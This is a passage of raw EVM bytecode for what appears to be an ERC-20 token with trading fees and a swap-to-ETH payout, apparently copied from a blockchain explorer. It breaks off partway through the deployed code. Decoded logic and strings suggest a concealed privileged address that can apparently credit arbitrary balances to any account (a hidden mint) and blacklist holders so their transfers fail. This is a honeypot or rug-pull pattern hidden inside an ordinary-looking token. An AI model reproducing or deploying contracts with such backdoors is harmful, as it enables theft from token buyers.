8fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116b6919061269a565b60405180910390a36001925050505b9392505050565b6000838311158290611714576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170b9190612558565b60405180910390fd5b50600083856117239190612860565b9050809150509392505050565b600080828461173f919061277f565b90508381101561174e57600080fd5b8091505092915050565b60006117e3826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116cc9092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061187882600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea090919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611918919061269a565b60405180910390a3600190509392505050565b6001601160146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561196357611962612aad565b5b6040519080825280602002602001820160405280156119915781602001602082028036833780820191505090505b50905030816000815181106119a9576119a8612a7e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611a4b57600080fd5b505afa158015611a5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a8391906120fd565b81600181518110611a9757611a96612a7e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611afe30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611091565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611b629594939291906126b5565b600060405180830381600087803b158015611b7c57600080fd5b505af1925050508015611b8d575060015b611b9657611b97565b5b60004790506000811115611c0f57600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611c0d573d6000803e3d6000fd5b505b50506000601160146101000a81548160ff02191690831515021790555050565b6000611c7183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506116cc565b905092915050565b60008060009050600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d0157611cfa6064611cec600c5486611efe90919063ffffffff16565b611f7990919063ffffffff16565b9050611d7f565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d7e57611d7b6064611d6d600d5486611efe90919063ffffffff16565b611f7990919063ffffffff16565b90505b5b6000811115611e8357611dda81600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea090919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e7a919061269a565b60405180910390a35b611e968184611c2f90919063ffffffff16565b9150509392505050565b6000808284611eaf919061277f565b905083811015611ef4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eeb906125ba565b60405180910390fd5b8091505092915050565b600080831415611f115760009050611f73565b60008284611f1f9190612806565b9050828482611f2e91906127d5565b14611f6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f65906125da565b60405180910390fd5b809150505b92915050565b6000611fbb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611fc3565b905092915050565b6000808311829061200a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120019190612558565b60405180910390fd5b506000838561201991906127d5565b9050809150509392505050565b60008135905061203581612d35565b92915050565b60008151905061204a81612d35565b92915050565b60008083601f84011261206657612065612ae1565b5b8235905067ffffffffffffffff81111561208357612082612adc565b5b60208301915083602082028301111561209f5761209e612ae6565b5b9250929050565b6000813590506120b581612d4c565b92915050565b6000813590506120ca81612d63565b92915050565b6000602082840312156120e6576120e5612af0565b5b60006120f484828501612026565b91505092915050565b60006020828403121561211357612112612af0565b5b60006121218482850161203b565b91505092915050565b6000806040838503121561214157612140612af0565b5b600061214f85828601612026565b925050602061216085828601612026565b9150509250929050565b60008060006060848603121561218357612182612af0565b5b600061219186828701612026565b93505060206121a286828701612026565b92505060406121b3868287016120bb565b9150509250925092565b600080604083850312156121d4576121d3612af0565b5b60006121e285828601612026565b92505060206121f3858286016120bb565b9150509250929050565b60008060006040848603121561221657612215612af0565b5b600084013567ffffffffffffffff81111561223457612233612aeb565b5b61224086828701612050565b93509350506020612253868287016120a6565b9150509250925092565b60006020828403121561227357612272612af0565b5b6000612281848285016120bb565b91505092915050565b600061229683836122b1565b60208301905092915050565b6122ab816128a6565b82525050565b6122ba81612894565b82525050565b6122c981612894565b82525050565b60006122da8261273a565b6122e4818561275d565b93506122ef8361272a565b8060005b83811015612320578151612307888261228a565b975061231283612750565b9250506001810190506122f3565b5085935050505092915050565b612336816128b8565b82525050565b612345816128fb565b82525050565b6123548161290d565b82525050565b600061236582612745565b61236f818561276e565b935061237f818560208601612943565b61238881612af5565b840191505092915050565b60006123a060238361276e565b91506123ab82612b06565b604082019050919050565b60006123c360228361276e565b91506123ce82612b55565b604082019050919050565b60006123e6601b8361276e565b91506123f182612ba4565b602082019050919050565b600061240960218361276e565b915061241482612bcd565b604082019050919050565b600061242c60208361276e565b915061243782612c1c565b602082019050919050565b600061244f600b8361276e565b915061245a82612c45565b602082019050919050565b600061247260258361276e565b915061247d82612c6e565b604082019050919050565b600061249560248361276e565b91506124a082612cbd565b604082019050919050565b60006124b860068361276e565b91506124c382612d0c565b602082019050919050565b6124d7816128e4565b82525050565b6124e6816128ee565b82525050565b600060208201905061250160008301846122c0565b92915050565b600060208201905061251c60008301846122a2565b92915050565b6000602082019050612537600083018461232d565b92915050565b6000602082019050612552600083018461233c565b92915050565b60006020820190508181036000830152612572818461235a565b905092915050565b6000602082019050818103600083015261259381612393565b9050919050565b600060208201905081810360008301526125b3816123b6565b9050919050565b600060208201905081810360008301526125d3816123d9565b9050919050565b600060208201905081810360008301526125f3816123fc565b9050919050565b600060208201905081810360008301526126138161241f565b9050919050565b6000602082019050818103600083015261263381612442565b9050919050565b6000602082019050818103600083015261265381612465565b9050919050565b6000602082019050818103600083015261267381612488565b9050919050565b60006020820190508181036000830152612693816124ab565b9050919050565b60006020820190506126af60008301846124ce565b92915050565b600060a0820190506126ca60008301886124ce565b6126d7602083018761234b565b81810360408301526126e981866122cf565b90506126f860608301856122c0565b61270560808301846124ce565b9695505050505050565b600060208201905061272460008301846124dd565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061278a826128e4565b9150612795836128e4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156127ca576127c96129f1565b5b828201905092915050565b60006127e0826128e4565b91506127eb836128e4565b9250826127fb576127fa612a20565b5b828204905092915050565b6000612811826128e4565b915061281c836128e4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612855576128546129f1565b5b828202905092915050565b600061286b826128e4565b9150612876836128e4565b925082821015612889576128886129f1565b5b828203905092915050565b600061289f826128c4565b9050919050565b60006128b1826128c4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006129068261291f565b9050919050565b6000612918826128e4565b9050919050565b600061292a82612931565b9050919050565b600061293c826128c4565b9050919050565b60005b83811015612961578082015181840152602081019050612946565b83811115612970576000848401525b50505050565b6000600282049050600182168061298e57607f821691505b602082108114156129a2576129a1612a4f565b5b50919050565b60006129b3826128e4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156129e6576129e56129f1565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f626c61636b4c6973746564000000000000000000000000000000000000000000600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f6e6f206f776e0000000000000000000000000000000000000000000000000000600082015250565b612d3e81612894565b8114612d4957600080fd5b50565b612d55816128b8565b8114612d6057600080fd5b50565b612d6c816128e4565b8114612d7757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220394238e768875b0a257d9cd36c4528971fc3a2001933ce681c00b1481f60cce364736f6c63430008070033

Deployed Bytecode

0x6080604052600436106101bb5760003560e01c806382eefb43116100ec578063b8be62221161008a578063c860795211610064578063c860795214610645578063dd62ed3e14610670578063f0cd1dac146106ad578063f2fde38b146106d8576101c2565b8063b8be6222146105c6578063c5d24189146105ef578063c816841b1461061a576101c2565b80638f85a043116100c65780638f85a0431461050a57806395d89b4114610533578063a08e671f1461055e578063a9059cbb14610589576101c2565b806382eefb431461048b5780638b4cee08146104b65780638da5cb5b146104df576101c2565b806323b872dd116101595780633345611e116101335780633345611e146103bb57806361a23c69146103f857806370a082311461042357806380170c9114610460576101c2565b806323b872dd1461032857806327c8f83514610365578063313ce56714610390576101c2565b80631694505e116101955780631694505e1461025857806318160ddd146102835780631b491677146102ae5780631d231b2c146102eb576101c2565b806306fdde03146101c7578063095ea7b3146101f25780630cc835a31461022f576101c2565b366101c257005b600080fd5b3480156101d357600080fd5b506101dc610701565b6040516101e99190612558565b60405180910390f35b3480156101fe57600080fd5b50610219600480360381019061021491906121bd565b610793565b6040516102269190612522565b60405180910390f35b34801561023b57600080fd5b506102566004803603810190610251919061225d565b6107b1565b005b34801561026457600080fd5b5061026d610859565b60405161027a919061253d565b60405180910390f35b34801561028f57600080fd5b5061029861087f565b6040516102a5919061269a565b60405180910390f35b3480156102ba57600080fd5b506102d560048036038101906102d091906120d0565b610889565b6040516102e29190612522565b60405180910390f35b3480156102f757600080fd5b50610312600480360381019061030d91906120d0565b6108a9565b60405161031f9190612522565b60405180910390f35b34801561033457600080fd5b5061034f600480360381019061034a919061216a565b6108c9565b60405161035c9190612522565b60405180910390f35b34801561037157600080fd5b5061037a6109a3565b60405161038791906124ec565b60405180910390f35b34801561039c57600080fd5b506103a56109c7565b6040516103b2919061270f565b60405180910390f35b3480156103c757600080fd5b506103e260048036038101906103dd91906120d0565b6109de565b6040516103ef9190612522565b60405180910390f35b34801561040457600080fd5b5061040d6109fe565b60405161041a919061269a565b60405180910390f35b34801561042f57600080fd5b5061044a600480360381019061044591906120d0565b610a04565b604051610457919061269a565b60405180910390f35b34801561046c57600080fd5b50610475610a4d565b6040516104829190612507565b60405180910390f35b34801561049757600080fd5b506104a0610a73565b6040516104ad919061269a565b60405180910390f35b3480156104c257600080fd5b506104dd60048036038101906104d8919061225d565b610a79565b005b3480156104eb57600080fd5b506104f4610b21565b60405161050191906124ec565b60405180910390f35b34801561051657600080fd5b50610531600480360381019061052c91906121fd565b610b4a565b005b34801561053f57600080fd5b50610548610c86565b6040516105559190612558565b60405180910390f35b34801561056a57600080fd5b50610573610d18565b604051610580919061269a565b60405180910390f35b34801561059557600080fd5b506105b060048036038101906105ab91906121bd565b610d1e565b6040516105bd9190612522565b60405180910390f35b3480156105d257600080fd5b506105ed60048036038101906105e891906121bd565b610d3d565b005b3480156105fb57600080fd5b50610604610e78565b604051610611919061269a565b60405180910390f35b34801561062657600080fd5b5061062f610e7e565b60405161063c91906124ec565b60405180910390f35b34801561065157600080fd5b5061065a610ea4565b604051610667919061269a565b60405180910390f35b34801561067c57600080fd5b506106976004803603810190610692919061212a565b610eaa565b6040516106a4919061269a565b60405180910390f35b3480156106b957600080fd5b506106c2610f31565b6040516106cf919061269a565b60405180910390f35b3480156106e457600080fd5b506106ff60048036038101906106fa91906120d0565b610f37565b005b60606001805461071090612976565b80601f016020809104026020016040519081016040528092919081815260200182805461073c90612976565b80156107895780601f1061075e57610100808354040283529160200191610789565b820191906000526020600020905b81548152906001019060200180831161076c57829003601f168201915b5050505050905090565b60006107a76107a0611089565b8484611091565b6001905092915050565b6107b9611089565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610846576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083d906125fa565b60405180910390fd5b80600981905550600954600c8190555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600f54905090565b60076020528060005260406000206000915054906101000a900460ff1681565b60086020528060005260406000206000915054906101000a900460ff1681565b60006108d684848461125c565b50610998846108e3611089565b61099385604051806060016040528060288152602001612d7b60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610949611089565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116cc9092919063ffffffff16565b611091565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b600b5481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d5481565b610a81611089565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b05906125fa565b60405180910390fd5b80600a81905550600a54600d8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610b52611089565b73ffffffffffffffffffffffffffffffffffffffff16600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd89061267a565b60405180910390fd5b60005b83839050811015610c80578160086000868685818110610c0757610c06612a7e565b5b9050602002016020810190610c1c91906120d0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610c78906129a8565b915050610be4565b50505050565b606060028054610c9590612976565b80601f0160208091040260200160405190810160405280929190818152602001828054610cc190612976565b8015610d0e5780601f10610ce357610100808354040283529160200191610d0e565b820191906000526020600020905b815481529060010190602001808311610cf157829003601f168201915b5050505050905090565b600e5481565b6000610d32610d2b611089565b848461125c565b506001905092915050565b610d45611089565b73ffffffffffffffffffffffffffffffffffffffff16600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dcb9061267a565b60405180910390fd5b610e31600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482610e22919061277f565b8261173090919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60095481565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c5481565b610f3f611089565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc3906125fa565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611101576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f89061265a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611171576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111689061259a565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161124f919061269a565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156112cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c49061263a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561133d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113349061257a565b60405180910390fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156113ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c19061261a565b60405180910390fd5b601160149054906101000a900460ff16156113f1576113ea848484611758565b90506116c5565b60006113fc30610a04565b9050601160149054906101000a900460ff161580156114655750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611474576114738161192b565b5b6114c683600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2f90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115ac5750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6115c0576115bb868686611c79565b6115c2565b835b905061161681600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea090919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116b6919061269a565b60405180910390a36001925050505b9392505050565b6000838311158290611714576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170b9190612558565b60405180910390fd5b50600083856117239190612860565b9050809150509392505050565b600080828461173f919061277f565b90508381101561174e57600080fd5b8091505092915050565b60006117e3826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116cc9092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061187882600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea090919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611918919061269a565b60405180910390a3600190509392505050565b6001601160146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561196357611962612aad565b5b6040519080825280602002602001820160405280156119915781602001602082028036833780820191505090505b50905030816000815181106119a9576119a8612a7e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611a4b57600080fd5b505afa158015611a5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a8391906120fd565b81600181518110611a9757611a96612a7e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611afe30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611091565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611b629594939291906126b5565b600060405180830381600087803b158015611b7c57600080fd5b505af1925050508015611b8d575060015b611b9657611b97565b5b60004790506000811115611c0f57600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611c0d573d6000803e3d6000fd5b505b50506000601160146101000a81548160ff02191690831515021790555050565b6000611c7183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506116cc565b905092915050565b60008060009050600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d0157611cfa6064611cec600c5486611efe90919063ffffffff16565b611f7990919063ffffffff16565b9050611d7f565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d7e57611d7b6064611d6d600d5486611efe90919063ffffffff16565b611f7990919063ffffffff16565b90505b5b6000811115611e8357611dda81600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea090919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e7a919061269a565b60405180910390a35b611e968184611c2f90919063ffffffff16565b9150509392505050565b6000808284611eaf919061277f565b905083811015611ef4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eeb906125ba565b60405180910390fd5b8091505092915050565b600080831415611f115760009050611f73565b60008284611f1f9190612806565b9050828482611f2e91906127d5565b14611f6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f65906125da565b60405180910390fd5b809150505b92915050565b6000611fbb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611fc3565b905092915050565b6000808311829061200a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120019190612558565b60405180910390fd5b506000838561201991906127d5565b9050809150509392505050565b60008135905061203581612d35565b92915050565b60008151905061204a81612d35565b92915050565b60008083601f84011261206657612065612ae1565b5b8235905067ffffffffffffffff81111561208357612082612adc565b5b60208301915083602082028301111561209f5761209e612ae6565b5b9250929050565b6000813590506120b581612d4c565b92915050565b6000813590506120ca81612d63565b92915050565b6000602082840312156120e6576120e5612af0565b5b60006120f484828501612026565b91505092915050565b60006020828403121561211357612112612af0565b5b60006121218482850161203b565b91505092915050565b6000806040838503121561214157612140612af0565b5b600061214f85828601612026565b925050602061216085828601612026565b9150509250929050565b60008060006060848603121561218357612182612af0565b5b600061219186828701612026565b93505060206121a286828701612026565b92505060406121b3868287016120bb565b9150509250925092565b600080604083850312156121d4576121d3612af0565b5b60006121e285828601612026565b92505060206121f3858286016120bb565b9150509250929050565b60008060006040848603121561221657612215612af0565b5b600084013567ffffffffffffffff81111561223457612233612aeb565b5b61224086828701612050565b93509350506020612253868287016120a6565b9150509250925092565b60006020828403121561227357612272612af0565b5b6000612281848285016120bb565b91505092915050565b600061229683836122b1565b60208301905092915050565b6122ab816128a6565b82525050565b6122ba81612894565b82525050565b6122c981612894565b82525050565b60006122da8261273a565b6122e4818561275d565b93506122ef8361272a565b8060005b83811015612320578151612307888261228a565b975061231283612750565b9250506001810190506122f3565b5085935050505092915050565b612336816128b8565b82525050565b612345816128fb565b82525050565b6123548161290d565b82525050565b600061236582612745565b61236f818561276e565b935061237f818560208601612943565b61238881612af5565b840191505092915050565b60006123a060238361276e565b91506123ab82612b06565b604082019050919050565b60006123c360228361276e565b91506123ce82612b55565b604082019050919050565b60006123e6601b8361276e565b91506123f182612ba4565b602082019050919050565b600061240960218361276e565b915061241482612bcd565b604082019050919050565b600061242c60208361276e565b915061243782612c1c565b602082019050919050565b600061244f600b8361276e565b915061245a82612c45565b602082019050919050565b600061247260258361276e565b915061247d82612c6e565b604082019050919050565b600061249560248361276e565b91506124a082612cbd565b604082019050919050565b60006124b860068361276e565b91506124c382612d0c565b602082019050919050565b6124d7816128e4565b82525050565b6124e6816128ee565b82525050565b600060208201905061250160008301846122c0565b92915050565b600060208201905061251c60008301846122a2565b92915050565b6000602082019050612537600083018461232d565b92915050565b6000602082019050612552600083018461233c565b92915050565b60006020820190508181036000830152612572818461235a565b905092915050565b6000602082019050818103600083015261259381612393565b9050919050565b600060208201905081810360008301526125b3816123b6565b9050919050565b600060208201905081810360008301526125d3816123d9565b9050919050565b600060208201905081810360008301526125f3816123fc565b9050919050565b600060208201905081810360008301526126138161241f565b9050919050565b6000602082019050818103600083015261263381612442565b9050919050565b6000602082019050818103600083015261265381612465565b9050919050565b6000602082019050818103600083015261267381612488565b9050919050565b60006020820190508181036000830152612693816124ab565b9050919050565b60006020820190506126af60008301846124ce565b92915050565b600060a0820190506126ca60008301886124ce565b6126d7602083018761234b565b81810360408301526126e981866122cf565b90506126f860608301856122c0565b61270560808301846124ce565b9695505050505050565b600060208201905061272460008301846124dd565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061278a826128e4565b9150612795836128e4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156127ca576127c96129f1565b5b828201905092915050565b60006127e0826128e4565b91506127eb836128e4565b9250826127fb576127fa612a20565b5b828204905092915050565b6000612811826128e4565b915061281c836128e4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612855576128546129f1565b5b828202905092915050565b600061286b826128e4565b9150612876836128e4565b925082821015612889576128886129f1565b5b828203905092915050565b600061289f826128c4565b9050919050565b60006128b1826128c4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006129068261291f565b9050919050565b6000612918826128e4565b9050919050565b600061292a82612931565b9050919050565b600061293c826128c4565b9050919050565b60005b83811015612961578082015181840152602081019050612946565b83811115612970576000848401525b50505050565b6000600282049050600182168061298e57607f821691505b602082108114156129a2576129a1612a4f565b5b50919050565b60006129b3826128e4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156129e6576129e56129f1565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b